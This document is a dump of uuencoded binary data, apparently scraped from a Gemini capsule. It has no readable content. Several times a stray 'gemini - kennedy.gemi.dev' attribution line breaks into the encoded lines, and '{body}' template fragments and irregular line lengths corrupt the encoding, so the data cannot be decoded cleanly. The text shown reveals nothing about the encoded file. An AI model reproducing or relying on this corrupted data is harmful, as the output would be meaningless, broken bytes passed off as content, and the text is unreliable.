MT<*XEV%%7-BLA-M>%>E>/<J]>H1[C>CV&I'M\<*X\8$G&<{body}lt;Q*'&8.G:N5-W
M#/+DF#EM[.)$K:?2>2JJIT?TC,`:MQC"Z^!5TK<R`+JSE6P'O?D+:'*AX$_<
M0#$?JQ?L6*-4A^+"Q,"&N89FMJ*H9H7SP*6SQPS+GD<V+6R]LG'KE2;8;4#.
M#O#!!VX0]/`OV$#0L#U>DA-_R"+4B3$E6F\32&F#\>2C#4A!20R26UNU'\/.
M^9JMI/4F81U8L>HL;_1Z\\DN(#(+R`%%Q/P;F8L5KTZ87;&%IS[&=!R<ZX`H
M2[?H^KM##X1JK7VE0O"@POS4-C;R:$3D9J(1H\6`KK;?@DL@Y#._!B]0>O7
M.]"/'0QD<J!/7M!0;+@E42CINL?(E_PD;93V#2\3O>)KO!@P?[*OST\NK-3!
M6D9[U\5#)6MGM'M\"PRNU%R8J#VCJ3Z%A=S:=@ID:&J=E[MJ33@/7#KK>LF"
MEMPM@QYF7<RR3Y=8`@Y[>P*M^J)JBXS-MGK6WFQHX3Y6JZ@Q+AI@$:AO3ZR`
M%]M;B6U@>;%M1!!:-XZZ7-+FD@$O'&'5Q4;E_JH*C_J*N?U2[2E)SC==8/LJ
MDN-/(-UV>[?<Y)W;;AE=^2F9(3L9`J/^[M`BG,[AH1)^=T35X]4ZI6OY@P^9
M2;9?>[KO_D4K'-K@5UV\V]@'8EGUXE><K"HNME.&N^/.##CDNTZ/I`M:]K-7
M3CE.-DFJ"BW/FXUC/1;:&`:CV>)8H]);M66\[33>WY>MD[3SP0O)`:$)ULZN
M5$WRWE]9?/NHEK(]=K!QZ1*"6[]W;Q(=WL-6KIAIEO?6I%BY1D](=LKO/MV!
M:)[ZW3RO]C++^FL\1CS9K)[M$1$5_ZS\,*7!<H,#7ALVP0_A=JRYX!*7NSZ`
MO]O:DJM64MTG>V-C)F^.3M#S1P(U/.OD[E8O=^O$\%6[$UJ)O?W!VR]T@NWG
MIUL5IH+N5SZ,0EK(J\UJ;@9V9<PT5;T!Q`.QM1D!O/(^H_.[+QH-&5BZO-#W
M):&8J)`[ALAWF^0UC76_G9K8F^+S;B-((8NWG_,3[ZR<++8=:S(A+*G=QA$3
MUMH:[Q)<#H..5'7ER&Z37>[DH*C4*0_],?$C=9H[=G^63=UV^SER`&BPABP$
MKGLQ:GWY-0T(A79MSZP]P\M-P%D"H?V6[FHNTX#;R-)9)9!O`V95A*JXVPM#
M[`S6<,,C?X,\U8-..:TN%0N7L0L41U87%(C`"=?,!(,:Y`!749Y(C"]A-&E2
MZIE]6J#[>KS9X\T1;XYXW:4DE[.#?E]@U_)PMM:B=BJ.-06IS)COAU#]D8HP
MN:\RJ3D+T').'9>ZA$69:/0>$*J4F;N-.=&Q+LJ?@3M]*&5__K_?V734:M;I
MF%VF(&D:%@%K<)5Y>E)^BP]IC:B7*JO%%T<XT=?>`FAUK6R*SY[5:Z?0]EIV
M'CP>:>0UHL0M+U`!5+(E99?N(8F;[OVN:)XJ/Q\$*!D%*'4J@;E3.`[1*+^&
MWO"<0YW0GL3;G1"8O?PD90'L4<,2,8:M="NQJ&WD:2G\:9**8_@R%5#NU/6"
ME`4AJRZG\^)75=S=:QIP'KAT]DAI8>G#,NH]TB>+)W/5#Y*4.NO3UK!YU+*4
MP?9(GRQ#U'U-B#G8,#8-.`\\JG"-:[-Z+4<E1W7VVMPG&UT*AI^+["K#KBUT
M'/.`I7/'B/[DEP$[C*@6]GN.RR.>1XNJ0+:H`=E'2Z1#VZ?XHYIIW?,GB[P>
M:IT&[I1<S@XY('0<(@>/WBK;R/(6Y7OW>;1N^:Q6!DO$]AX3:*,-JD=N=>+]
M75C,R];'5Y=T6&G"@MBX4MWJP69>.1CBG=Y"^EJ.>ZSEX"Z@O@5H>W"`@86;
MD#9V)]`;HZ#6OW$?"`&\^"UJ>Z1XL?JDI,.*R!8\(N?I!",5=)*-+"F(S24&
M2H'%67"6"*US**UTH>5IYOFZ)4D;APJ@<+-7N;F-?J\F3PLZ7<I"L*\=K':<
M64>RA;LU!*>Y8VCRHCO;11+O>4"HTZ4]"UBK-3!7*R\7'4#,DH42M0>Y`5#<
M,[6N,+!BEY*#5K(*8VPC<0!JM`$G])VH=FI#;ELLU7!NSZRII)&IHV3;3_K&
M=%*?PPB;#8W=(JTLH5BRG&6MSSO3>MEW1K2<II5)+?2QKR^DSMINL@VL\-U+
M9]>H^,;,B8\D;AM4^/W):%/MR9X^613PX6{body}gt;R>7LD`-<.4)%KA]>/TQ+[EP=
MG-%BSPA3%E[I:I=H0Y#*<K3,V`\Q8S%AYM16]OT?,Q;SY)FK;BCI;J0V81';
M^ZR,;X0S5MZ;"4O[(=]A-]L%.WI.06R%%Q8>E7]!@[_@J]V`0MJH11M\#_V&
M`4\`K:C$)K)$H:1@)5T.#EP$_EL+&_-T:#R3\0JE]7,S<N'S1(0:`)T9!NZ<
M?#+5)PV\`YNY460*:/`63$F'VAX_\<6V<QT0UZY;U-;<P2.HVK:=%E25K7]/
M"BY$^P6QB1KZ?R11IY'"[0^=ES95_MKO2_2!9@O%D]G[LIG'_9<,%2WCU3R
M#6N,3'#EFU,!7M(\4W6Z8)UK`UTX`M4JHK!.*0?`![\!?`5C7V>@^X-$E+@"
M_/HJWU[LU4&^7?'".W,/77TW@T]E,-S*MQ7[9^?;OKU"9)I,8<])]B?
gemini - kennedy.gemi.dev
=M]
MJ1*(DD9[^F;4IKGMZ*!V>^=N9J'@==K1;+CKN+VMP_7:#[EB-`=9*)EC_.C:
M@[6M)\GW=,&&70)3S'AV:H*_N#:.OH1$C"#&!52E!Q>W$#9[`*6<'2+(%KL.
MTI(#PLG!4U3()TW%^806'ZR;Q`_/!+T3OY42N(HB)*%M9ZU'$+@BI'V'@%]Z
M5M<,*8<D,4O*62GL%X["2#6`:6J[]1S;K>?8;CWW[=:%O"0VUV>FM-_XQ:(3
M`[Y1/'<)LQ9NPD(I!S0DW02P3,$F^MI@$6L%(`LDY_(!R5VX<%:8.H5_.=LG
MC\6CL/)6_II,K&[7[:)>,^<;,E\LS)WHB!]-:_K7'7<Q42&NR:4<M/E+X#PP
MDY;%DY=U8%:]6U@[81GT]CSR)P\FQ'R\8`]
gemini - kennedy.gemi.dev
;5>V'D0<E!XJM:%FG$?[,_!
MMHZ6*)1]<<([$9E*[(4AJ28-ODX31)1<B9.U#BS759'#.+*UL?JVHX<_;$5C
M?B+Z)R*W_T_V@S(XXT$8@AOW"JLHN6_JOJG[Y@"/#)<()!<^0SO)D1%H>LJ)
M8P2W*>4<F^*[A5&@7BAQ@R?";UG,W)%&;D-*1=LPY.Q0!$HA+]JJR-]XV'1T
MN4ZX+U':)2A7NTMROV<N#V[FPRZGT8KU24TFJ&)):A/MATC".X%RK>@T*2T&
M^X%S%9,6,!7MQ$09JW4_64NWIP'#&3##:VWW*<NO5:<YO'Z%KT?/8)3O%>7A
M-[!-O)G)BK&O><N:4GM.\#<\Q=CF@3'@*G>,O2%HW6!F77X1O*[3"M7K$Z^P
M"]:`-)/W$D$169<AF(/"D[F[QYYG@:%A78&3'!6CQ^>Q+9O+BX/YX`^?,4,P
MCR+W0U3%OR,'T>L&TSX%"&")@N?14@:+1R7;OGVV=542ML^B5)R-/`[N<M7@
M25,:3_FGVVG%O'1@<0Y'!DE::>_4]8*6`7OT2)B_>S\@A)`%KJM*Q1=)$%+-
MKJKO;D{body}gt;*'O]I!QUDW2TC).RD/NVO;!1RG2A-`</3ZF4FY>"Z`I[#J`3E>B_
MS'PA"\(3FA-SA2$=A#JKHL$=(5R8':,<X$[*80P``UV!\J8E38'SP(.*1W>+
M)4V#A7JE2J@3<2S!7:$.CISH'&WNJ<R42+TPW*YI8:>Y8_=7F#VFA#NCOPK;
M$.211N;%D$T7;/<U0H$,OGFAC5#./;M0_OSE;&`10Q[ZQ1W<2H9`GUN2F"7E
MK!(>-[]).=(_>Y:.')<!LQD0LTN6DMN_4;JFI"?C&T"6\L2\(>46P%M.<)%%
M\S_XH#FY+(!<Z5!Y!^)/VD:FN!D1"@DO_@6X?$3Y0ESM(:S@^=1,O#H6H+0U
M-H,4LF#!*%L=MH;DTP86?C!F/,E1IB"/A0=0:7ETT=V\9MYMJU6>QDQB))"C
M=K*F3IQXKY;%<;^QBH3=F9,!@V5]AE74[J^EJ]&&"`Y>!6TJ#5"':*O@4)V'
MQG9/?,\WK-T(5(JQCJ/1O?)).+SN%4MSG$J@8B*Z^M8_8W`+N\IN&14;MMJK
MMI>&S2G8FB`S'QHR5UM8;V6Q'+3'ICN_TJE7VZH#*X3KE6=205:7"`LJ`)LJ
M,;$HB/;/,*+(XU-5;8,^)`CI#HQSC;&JV+RY5RT$,NNE6;7V2A!.!6#F;2]W
MKA8)')P1=K?7^V::AZU!UH<`P]I_(+UC@`E.+F<'UT+[Y\D.E5UK]6VQ>:Q#
MY3M($_Q=57XJ7FV:N6:L)VPM\LP5-$X(;\QG*B+=N+R-@)A)1>1*',Y4O2*I
M%:_(()++V2
N&IR8"Q&RKVC%%XE>*L&>KRO'N]KQ/L:T;W2Q8:"M3_N.#Z%
MBHI;ZP@\H{body}gt;U;)&S9>LY8U.RMEY=,C90[A1JBM"0;MLLP5M)8`FNG=PQ>:"4
M`L(O![B3)XKNL\;Y9DYH4,%L`OWD,^(C=5J?G=F-F8U+YISFCMT_\N''38GW
M/"#52Y503"4"LYO@3U6_4_VR*^Y^$+.DG!56K^QJO+(C+:J!E;5INT4]`Z#%
M\]YJ'/=6^VEOM1_V%AAA5&VYGZ<0%J\X/]O-*1P)R^FHWFQA&6CNV)4]4V#E
M2CPH/=+(RMCB`0[T*29FR4+)R-^X\K>^84/?^M2R,H%%=IQ2MK'6<<H)5FR\
M?IQ?^:#NV]M38@.SP);2,4_JJ9P0IY@5!UN%,]</0-+.SY@%T+4)7C/YE9V3
MO.*]FENL[77N6HS=OQD*+,&X!SA3FU'A6IE$!1Y^UH$@/+5ZY(BC#HSV[!)O
MD(GAIU1@9UW/QPEQIWQ"=WQPL]H#4\L'YY6Y7>.ADVHH]9.D!5D",4=^B,UQ
M.3)-6E!5)B:7FP#C31"NBH&NG"$N+M)FM+;"E2\)_>7@@7V0VA!YQ:1S`TRP
MFKP]S]:EM]'R!<'P:=!1SM>WQ;:O:-2>OM$;!<X#E\XLG%M0_&Z!WAVSDY3N
MH+;IB-QB<WN7X<(6:I4!89\K3YT&1X[L1UL)J\A#1K@Q5`]CPR1TCDZJ3K>A
M6KIE_F0KHXV5TZVHGM'Z21O-=+`-GJR%>I4*7P@!/`G[2E%+L4<;AF[NP$YK
MM*W/L"_*^IY[8C&Z&FVA]I$ZS1WS@(-NQYYE=^/#]5&56XUH#]NRHADG?5,G
MMVY%8Q\<F$;848K];*MI;UZ[S9I;Z](U#)L*B7>B'HW>CQ[^=O3H[T:/SV]&
MCW@OVFA.9]^.9[2QAKI=R@O7CC9\60_;+E>[]C<'G8GBI`A84M8@+8QIV<9D
MPZ9087?EV=9).WET?-%)2`%S4'%2'=P^5<$MVOM^ZS5J-2_:3]B,-%#1[=XL
MV]#IX?M*C3;JZ8,C$KL/1V6`3Y$-[@LV=7*BZKTL*HJ1NS%`3GU'U@/O&,P\
M+A<;-/DZM>;4.I.MV.<9O&;';9-@2VQ@0=_M&TR^X1*WT`_,QIHYG`O>K4^W
M6`V)Y&:YALPN%1*U_>"T[<,>*?',X#1W[/X*8JWD8?M:)$GVQX%(.N&E*\0L
MF24+)6/#'2XY[(`C24`3P?C=->7L4`2**>,KAB:S5++"9E>@=V%,G*9_Q"P]
M-^1_:/[UX7.M#\Z8\G./1\*=]H&>\N'7Z:&+Y+-P#\V?/7SR[&$S.P^MNWCP
M-+W6/#<J<]4.)91A/)JQG['=!F4A*(F^<=ECO]@1%09(QF:/V!!(3Q%Z!J,D
M+=0.9"&PO)QR>C"5PT8P#WO;VPQKIP^^\WW@[>[;9.,K,\W-)*(P@*^](S5S
MDZ!6`ZF]8D;!)(6<\TPSN<PN"R'T:$\T.;QYPPLL?%SR9AZ())7=9AC?\.;W
M32]^W^*][]L5?<O;J]*&A`I(2A;4?BUORO[&Y3!O>!7\9BV@]8KXO/;=UIR]
M6[;?D6<L4G_'.Z1WO25EM_D^C'X;WVBRBW1R_7T\A/:3M71[&G`>>%#QA&]P
M,\/*_HX>];UEIZXNX;#!:/A,]I=!9K0`[;&B9>VCW84FB>;Q80/?Y5O[A7PL
MM\.V-J<T/Y[:\E%M[U$SH64SMJ?I=++?N,G5Q2Q9*"WG#<ZVY6Z3T&HU#=.*
M[@!UF@OC6&A[G<RTG=4IX'@@AB<,')%BH*2>-L-J<F68I[ZCZ5B"F0$AG4O[
M>4A6QGANE]/&T':+-)N=GH/'!#/2VGH-![@O;?0A2<57&)C?<:`[UV08G6Q*
MPX&>I]W:-6E+`?3$)LP.=$I43EF"KB\M%X*LTKQ>N/:G(U6ODQQ=;YU0D0WV
MB\N+DFG(4#SBU^CN);UC$@F$C9.#PI$5*:5RGK#)XL!*1#;/CZP*91/8@,@F
M2(EPX^6@N6/WCW@K&S%H\?CK4L_7`3T.6D:E'H\N2LU>%2"%).>12[=X)+#0
M_;A+R$KQYLTB>CFW.'EEODU16S;K0'IZ\*>'P*^$G]T&K$[MZ=GV,#]-J&U;
MT]E,U!8.>J5``>>+7RF>^@H)L4YL8M8[GW!P6$6:GGL[V0,"?8B)63*[I)HZ
M$_S9:ASHBTSC@HX%2X:;N/"JJLE>F-V+\G:Y**Z+Y>ERG5'(BZV%:.*^W)-+
M:-O'@5,`G,RP]G&U[;8IX)032K.L,!#?@GU732XO+R[E@%PLN";-7"`0OL)`
MWA=>T47]D=VH3].WENIK@C'#M$U6`9DF.U`U,Q/<?QW\A(#'M=J8R(C1M]_]
M`W$?S5C;?PNZ8%$!;OAQK3S_19`#0L>!$:^M2S-QYB
gemini - kennedy.gemi.dev
),L(,K7.TF(S6;UU
MK/,;*A07>TTOZ/K9-'C5UQ=;%GF:T.MBCW=HOL)`OV_"[\*?;"6LJ=/<L?LK
M;Z^3PDAK\4R^N@)M*`$RNJ)AF2B4>78IAU)=TH%1JX2V"FN;.DDE2U8)6B^V
M??!)7T="XK$ZB%J\E4(JJ1T;N0:%FD>CNRXVSCUIDUR3=UN=ZR`GV\LY#TCG
MO.^W`#K1M+NW`7SI<T/EE8DF/%0*^Y(=PPX1+RYF?-`].2*:C\G"W*97B_^&
MN=4,6F`B60N_\4Z^H<_C"R*3J'03%MF&05.3YVS;V)YXI^17DI+A4`2L/+QV
M,+&$I()[+U6"SO>I{body}amp;163PI$QS>LL0V2XS+7:R<Z/FDJ+>15/R"Z*-N>U\MJ
ME7<E)@G$=,$@9[O0<E@5;AQFZ36VH`@4H;^R!K(3\X,J&WV[TX3E%09C8@^V
MJ>?:]-O:7O-QKP%GU20MST!%83B&HRY,-ON-;7Y3@]_4VK?O#ORJ(`>G184W
M!M"XIN02#A4-=E-9?2BSQ2AF\\+7@Z99[I@&DT0[!+E7=9D"T!J!ZN7O6FT9
MV^X!/I++V<%]F!W+93[!P-,J($^2'#6+W!,_10#R#*K,!/DIVH_2::5K.A\I
M8`ZBHCN@XX24.W.YU&D5')E#R&`J\CY@!_V=[".D=<>/.)]ME_D3.U[VNNA$
M>&ER>M'XL-&.#HX@-V8\J9_/S`O32[@R^655Z5^HB].:)!G)12]%A5!&SY'9
M763]`/,5`T@UE5:5'/@3H,CQ&'K=S!]+YH\EZ\>2]6-A?YPY_L@K'C,PKLBV
M-6,AL$84]89F;T(2(;>K:U')5IW<.J6YLQ*FA=K,[?;T.'S,F?4^*"@<U;S0
MO^7=:]V>VE9!DHL{body}lt;KE_QV9ETL,@=@W$LP^J<V:7G;-ZZJQ6D#%T-+&&@VZC
MAE+=)"(-598M-)E3)WHN+&%>5#Z_KEAGDYTX%L[9!:X4?LG-U/U.A%AH5.HA
M=;W`#BI$N:B`T0-EKV[<+C+V`;HEQK:J/'5_I;`\%51]L=6PMB8%-W(,L4K2
M((=01+AA-=#SJXB^=&"8E958N/6>@YR>$#=T0-K=P($:FX?.,,%7&$SD*B?>
M[B`]B.Y.!4VM:+(&!.\%F<'XO>"77%Q_HS_,5QA,ZQ4_'1->(<(BIE0T;*O,
MBC)>&$%A]=LRSM0!&E656;TJT?\5]E*%'6#1_:IHH%M\B&MQV9(CZPWY4.O/
MLR97-AY_JJVJ=<:)1E(Q<U$5Y$KU*YM152A5:FM.M.;]E`+<"6V'0">:]3BY
MI,.1T;7:G0QY1G&J"H.A"&JEVAY)]"/1D=GTYT-;(R$A[RSA>KJ%]JD&GV6H
MNM'Z1)"M=I"8)?V1*KBX!4<Q#NP>,?O2+>ZE9N[HSMFE.X2TEV@=Y<R\'IR1
M.S03=\PPTHK5CB=[TVWF=<)-VMX#FWCG$^1CXES`PX<`;QA)OJTP4/8W)?.&
M-O[.2C6EYVPAGU!Z(NEG*HQ%X]`G9\QLLZ'JLA#0#SSW@R8<<=!6DSD=:(MX
MD/Z8,'(QT:PM4,(@/G'M%&6AQ$=.07)$1A*G/B#@#KV9{body}lt;Q2F=<D016:3S,O
M]+K(ZQ4&0^.>G/3HW23,&PPJW*APD\)-J=U@0Z8VS',TR0`;`VP*L"D`,PXO
M?G\N0`;S3#-)LL--[$@,#S@IC,G;3ESTH8SDG(HJ%UZVT_33":"L6::X%8]
M"]6S@-\>-[T[:<L[D_:Q48">RV%C(*5?/7VM00JBX[:\NJ0#WFX9P'K`.%^G
MVYWV;_?6^(DW_#:33>I>5$T'?2JV$0AB*0Z.;P$O\1[?[:Q>8AYPT`BTFY%3
MQ/W2024_*IP>C.^AN.RM%FKJC.=E""1NP)!G/D0W>4L0]E7GR8Y"LYNNG1MF
M!J(]OZ*?;W)WP<A>]>`/0F0VG9'..Z/<;RA.D]+:=00<QN]IGCX^T`@(W8F=
MFRS%B7',I\,%?-AD9]R8(.@J9?N$R245C09/:+^PH<XX7K?)%3_`V?:I<@F]
M;.>(IDY0SLN,N<Y&>'%A<K^Y1#@:F(5N\I[9?XB*4)DBT;&Z8G4];*YV2OA#
M9Y;0F25KNY3(2L)ZT"9?8""CZ45.K*)V"T*"Z84V2^,59)<G85<`22@@VCL,
MV!$78X)185SW!S5Q^X.8):FEND<WWAZG;`@$@5`O/A\%@D:BADU]F%DH<-\&
M2'V7>:''KCG;A).'*?C.(N%\88KD=M<]F&:[R5,5D#I*#PS-8V:G3YB#PI,A
M\(=?T`7U=&'QFU#^+Q=TS";PZS`HDK0C<B_59=EHLJLG%%&H;&I'%PQ&D^U;
M`),=[24?F)P7S
%21$)F2]X'@L*#3D[N(]"'9;&=5I?(-"63,R2A9+*!G:?
M%]@S1""2I063",&8YY,-L?&W<HW[\16CK29NNXT&!%3%[[K=VJ&PKRY0,8`<
M4$2*=,>PK<F=9=IW%F9!72[?4BU,>.7#DELG&">4%!*U`:(^L`"J_+C;M9%,
MN3\]Q!/ZZ`16C6A6C6A6'[RLZM_6%PY?#1#=!8,MRD*PQ_`F.4O:GK)DSA0O
M$H52XJ%[N?`I="</S%L4P4-&%,KIPG&S8`XJ3J[W`:T5QD3S]J1L-_=WT&E_
MND1XQJS(5GW=:HBY%$KZ+>>]I"#,4Z75"[PN]AX+KS7"4D=>GZ--8;8+NVC#
M!9+WU-6V@(:T?9L(;Q*L`!T'1V)L-'FMUC<><-61OE@];,#<//E2V<@&%$8:
MVJS[0L%$=D[U`I9P4EO&P6N0NJS,:[FV&S2ZL!51J?FJ=ULY%%E9%;5$Q1_M
M4<0D<J@F?=M1+280B4'WL1C,>^/$6KL*5YK0W=3RF[QAYLN){body}lt;@"#:C/:KB<
M$_$)D>CHL0^AWK*G+>$!UQ:Y+.<:@/D(9Q0SN,CR2NT7+D3O2'_[%I]M*7CP
MJ(Z8U`I$C<FBW[3;W,=#\E*`5"J_CV[]3KH-]]*M71<4.SWV-;(&1IP7YN2"
MEVAIL_UE&(=]\DG!['UKSRH&G"=,N"&Q*6P;-`HM\*S\>=B6MT^7R*5"?,!(
M/#@6"&FK'"WU_>W`O>:[0]>)@+P2D4DB"THN)'20D.;`.6,=4G_2^?20#&I[
M#L%$)P<Y.VCP&ES<XN!1O%!M6\[R*AI_YD0?!KV@P>?+RO%+@T/`#B1?6(U-
MUN20,0+-R^FDH;KM#&!O;I//**;\FEC5!NSW\^N.)=Y&[:>)H9,(65EQ/75*
MMH/[L$L6R7'_H&2<RN_MF%%[L&QVNTXD%G[#`K#4<7<DT(=5I"GG!GR>R]OB
MPNWH;/.V'UAJDVS..;$8&;G0SP?3J+9V$-U&1NQH1\V<**!6F4#-:*TF>3'>
M%HS]\W.EJ1HM&J!#(B$0FP"F\E+A=2XQ&-2#0EGX]%J6=$DN9X<<X#H*?%LR
M4P0P`+$2G77K[_PY%*"^^$3A@9W/A9`%L*Y3F?>G,O=%L>=.%E0,%MK@E,6
M!#:+8"JB$O&3*\I"90=7//VZ9(GL+KC5F)"F[H_\Q38S\45X8'=F#):<S1$V
MHV(*/?%)MYF7Q(=?FZ%$X[3O&6U??#O5$U<#'\-2(/F:-18#9($2RAR6M530
MA"`5:E='A$RWS"'2`A-=CJZ$SSFFF&D$J6]Q+&)*-F2_@A6#EOK&)[?ZMKQ;
MR`=*_$B\?(^DJGG@M472.EP'.:$W?YCQAJ4J
gemini - kennedy.gemi.dev
C_YJM20`42G<;;=;%--ZBT
M:#Q-&-P4U!GIT*9RTH)XN<**4E%H%IK$N)YVZNSI.EVFQS3_VXN=O'*Z'O;1
MC&UP_RQX66'[\NX0.-'CA$4Z/(#[Q/.W3SI^^[2<[`^S%4W(R88,"^=*F\#B
M3@<K@F%\DO#)YHK]@X3!ZB'O6*O:V'S/.`=Q!>73CITV3A@7V-V4'O90;B;T
M,5\#@3P;,-=:0M:&L]L9=RVC+>%S._`CO1L\ST@=<G;(`<7)@;&;YJS1E*9#
M%D[)+)J2:9(%UM3,PB?G)JS@,[#=9L[Z7O)DBY3M0$X8*JJ!]:H--(3$+%HS
MK+-?7G;6,*2%?CGRF35F"5XX6%VXNFO!\GU(4T5G9R8L?/NSX(G93-1$DW:/
M,&F>5^S#ADO\;=+8SZDXHJ)%:!O66RY83+5P4&IBD3!76_&/4MBS7QX)X=?3
MM$/`M,C6BTR$;C=.&X;C9\G&;8N;%BY"6K3T:,'2(ZSV7.SI"/=0)_I0G5=>
M?>G"-400[ET5'Y<5V6I6CVN)J)9$\8J+29"/`O/9PF#?7(:#]:`+GXD6?R9:
M]"2TX$EH62O??2XWV^E_Q341VI3!<F,5W_89-6+;%IUQ2H]Q2X`/=F*K9<O%
MIH&U`=SX_=P)DP8+GQ@6/3$L>F*@I`-,N.$";;Q`>@JDQ,BVH5U+Y'#;/5\B
M!+&#.)`P;$?[\4%E;]W?39T*&>W9$9G>7U*:N:Q8W0RR[5B^.HU=U:=^JEM0
M)6.?U3NL6-W><0UW9L<_\CSI$\^3?;TY>R`@1GM+W]TA6%'X1@^&15FPCW-.
MMOT;OT8UY-X!1G725V)F>6XXC>,#7G9#X$DQI^7NNY0)T5/<T;[NF+-=M"9Y
M\17)RWWGY;$/P9!1C+4PNMHD30V_@3SSE:B`[O@Q9*[P@J3SRHZ!/YEL,XS8
M:B.--JN*?%D@;M&0'%F^P8:8F'Z]SC9X{body}lt;B#.:A7'N#14=Y97:*CG$V4\_1$
MM93S@>Q`PL=VS*)`]`;\$93H(DOO(@WMB5C@3I"8DH&`M3VWHQ$7/M<WB5=\
MV`\#)K3PNAP"UF(O=I:B5TT+SZ@X(<L83?@(@E<>`R]NJ7S",0(G/3$OVKVQ
MP6VR7%4\?;#(G$U=JD+S"'4!6J\1`]L)YKRQ``_WS5A*M%1/VN1;8A+'C=';
M3CEXV[2TD9P-56UKR$?(`N!6YHWVPQ8T4II7B^T5>?BP=2@F+?9VJX&!X0VD
M[1IJU3I8"FVHB-7VJVZF78D5'R#HZ<DM3R%^`$[NS]M,H#O;E^N@)-_D]JV[
M*/DS;QVK%L=#EDIX2<D)]>DD_8CAV\C^MUSH8XCCDX(\W57;-H7%M57.&X;#
M3A[JQJ_Q!B[=$M'=.&`FJL0W#\9F8K0?-4!.+FX++Y70G;D0S/`-\Z-.\.>8
MC)(.B28L"T,N4'E--%'6&W]"*UX5KGPS;6)51DE;V+*$K!)O>[;C>XQ5#YB^
M@U#CP%>*)_]&\>1?*)[B^\03IT',Y&789D]V>Z6I@&HBFS>1[36%#)4:2E6Y
M-?2$N!QG]66E!DKTM2=*@7OYBJ>?E<L%5TY1KGI'OF(AU&J;!*;;0'/'$KB,
MK-#&Z`(Z,S-N\RS!3I]*4XFHL,6+&JU;+1O;FTDR:INW6:>/1'.FR!*%DH(Q
M<6W%ZHLK"#F@.#EXJ%>:4F4E-ZD28;QC)ITK30^+O#,U-QE/FJ62-"HSHE!*
M-RQ6H&2>T+;TTF_5O/#J$\(KIX*;P.'1)[5^[JX'*;52/,$V:EUY)UU]HG1=
M;G>:IH'AI)G)978I[Q>\GW)*`S,U6:0=;KIG&;I4=7)PVL0K347YJI1?/>57
MC^N5=FO@"[+.G!>96*D@8%)J:9",O?@TQNIKNM<%2\4@&`J-K9F)OA^O[>:"
M$/9J80XPWQV-8.?T+&2F9!H[&\5^@@$\P[C"?*7)SH\P!Q4G1=7PD@+DZ_I,
M5L_6!E?LC=U1SA$7[3#1P6)SX9,="I8R5&[?';P782;#S"11*"'VF29'F$9)
M+E>N&`N4^N+^"WO#1FJ]_-H+XNI*;=@EI8+=G3J&!O=F$F>L6#)^0M!RD[+N
M`PVT`LY0-0)@W\G%$DW<6:NE,!Z3C,D(*L@<+W%5$ZA^Z57_7O=O,!CCFS+R
M]L+?O=ZKK?@4IIF\V>+)LIGV2=UZG+"D?+47X\@E`6D2&079`MH0M!E];$1^
MDC@R(LC3IF'J@'16%GV-<@-;%U([T1%Y4S*E2D2#.^P3,C/#"DW9E,(-!E[`
MV._X4!<{body}gt;3J8^*:).Y+""T.!4&E*NRJNJMQMU0/S#M.D%U!%@KY]9]!,I9D]
M154C4\J5IG0\XLQH6#8UZ4/=^Z'UO.NA'NJ('NKH/=3A/=2AKR?6)[HJ^R)M
MMUL11[*[ELOM_()=LA`0DT!]PFB3%H5E=<>]>M>]>M>]>O=[M0&Z68'5W>[W
M;X'4(!"7HO`8:N2C]CQX#!5'"SC0"^-2DXF2KL6=2[B_H8]PHMI3=52UCM_Z
MXIV/&DW88[")3>(B"<439L6;A+GS1B6``A:^HU_?3V]7/+T)S.ELE\EZS6;H
M1HT#2>THV#.<T1GR8%@3J,S6'6(Q!+JP9IP.35MW+MW"',_/R\%BBJCQEGC'
MW[D,9$][M26RE)8$HF5\YG_!VGP(^E_2DW7+93\[%YWM6G{body}amp;62B9P`73&OC*
M>K>MJT\[AY@FD#+D%H!9L?UJN;`'F)W/+CL?6R#TW?6NIY==#RX[GEGVA084
ML(GI409$=5HWKW4T)M"XU_D%4PT[/]O<_;/-=F&QWIS2LFG/+39;M,$5&Y&_
M=BJ!*(>P#FC3.V;9%TC^$%;_K9-8H-5_8"O"\]>G=0L[URWL6+?0S(^;G=A^
ML@,\S>"5ATQ!#`CD.PQR(93J$CF\81FTW?L9'MDT076/2[_MV^F>]_T%9/9M
MVCXFEW2X8SM:(]MN!=LN8!BQZ_/#G</,G5W\KDY[UZB1@PLS^1,W0#/<$)0A
M&5#AT`RWEX4)O?`U\<ZX,#W5;H^ZYIN20'RXX4$P4M[U3&I>?\=Y]2:L@C9L
M=FJ`AK:I\X*?.:-OV9WA^@KCC&<N00$AP1T#-PBZ+DE"5N054@[HH_?7UY3N
M"DHLP1X&D^24].2,50-:_35EH)S;*/@EZ*&,V/=1J1,=W_!9U<[-]R7A`]<;
M2VCOC9@C$A64R1ML"(QKN_/Q==^1KZS2,F<T*DW&K1_4[O<?+H_%K$LS.%6@
MK^+VG9TR7H3N7'_7A,)5::[)K>KQA'G`$MP#LU1*W+[GO7>Z*R):/`QLU{body}lt;[
ML4?;G:L]=JWR:/+=S#E-A\#.!G(HI(TB2R"Q[&,C)^EFSED$AC,F7'8?-N!*
MVX%J"VT3Q4P35S<S0683":$C\509$%ECS%M"QG%QL[W2=PG%D=XDF%SFD%G@
M*DH%)[^<=GP'@F5R.T;J.T?G>[GO&;_30@,Q\NNEW7?*V`L;'/:JG@:"T@
M3E]18G8[T)1JNXWA70$([;/J&"R075TFI1?&D-EE$4BR9&BC55I7750#]U8X
MDUCAOMN(!S<I+EO<M6@1<L,2^L`BSB[=05)I5%2E"47D/UHC/K(!(6WE\N&$
MF^&A0K:A/B9S=,UUG;FF8S]T8SY\5'.LZ<';F0B.>/\`,4MF27DS8X=M"7[B
M8Z>9>F]&E(]BX,_F\/M-`Y5(M(6-0E]8.*V,K7K\^DC""#[\')L2&MDVJB"@
MN1VY/:4MI1/Z_8,_ED.'4L]4[3;\Q`[$S$/J3YR,W8\'WC_;NLTD8<[V4WJ;
MU=#?YE5K8`+G@4MGULG;O&-4S!_BFRW7,!-ZB1Z9)IU@*BATV0#?V-#>U,[>
MU-6\K9['U</`QAL^?M9OW-R]DSE:/_A^QK./"3@AG7<D\Y[D!).KV/9WQO*.
MG6X@X,MEJ;8R=W^B@3W/NRT/I$2D(%-^PN;K\9W@<U4TO%>94.-YXH?X7-7#
MV.LN6^B5,0S)_'[;!.[3@D*B0+:QYTYUJ3`^,TRD-H<&>9JY[4,#%C_;=V!T
M*-?I#0`K<L&D$-5%)M/@32_[GC,9>\?DZ7J;[D=E.:XW.?%3N3PM,\TDJ9!8
M0=$!E09CVAF3LP=@`HVL[[*47%L'L<FE7;+OW4*1XQ
gemini - kennedy.gemi.dev
N6,'=J"/,8W?6?K
